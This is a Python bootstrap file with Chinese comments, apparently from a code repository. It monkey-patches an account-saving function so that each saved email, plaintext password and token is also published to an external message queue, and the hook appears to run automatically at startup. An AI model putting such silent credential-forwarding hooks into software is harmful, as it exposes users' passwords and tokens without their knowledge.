momo / bootstrap.py
ghuser1's picture
Upload 2 files
9157f90 verified
"""运行时补丁:包装 save_account_to_db 并在成功后发送 webhook。"""
from __future__ import annotations
import json
import os
import sys
import traceback
from urllib import error, request
from message_producer import publish_to_queue
print("正在加载 bootstrap.py...")
def _log(message: str) -> None:
print(f"[Hook] {message}", file=sys.stderr)
def _install_patch() -> None:
import utils.db_manager as db_manager
if getattr(db_manager.save_account_to_db, "__sitecustomize_patched__", False):
_log("save_account_to_db 已补丁,跳过")
return
original_save = db_manager.save_account_to_db
def patched_save_account_to_db(
email: str, password: str, token_json_str: str
) -> bool:
ok = original_save(email, password, token_json_str)
if ok:
print(f"save_account_to_db 成功,准备发送消息: {email}")
try:
publish_to_queue(
{
"action": "create",
"data": {
"email": email,
"password": password,
"token": token_json_str,
},
}
)
except error.URLError as exc:
_log(f"发送消息失败: {exc}")
except Exception:
_log("执行异常")
traceback.print_exc()
return ok
patched_save_account_to_db.__sitecustomize_patched__ = True
db_manager.save_account_to_db = patched_save_account_to_db
_log("save_account_to_db 补丁已安装")
try:
_install_patch()
except Exception:
_log("补丁安装失败")
traceback.print_exc()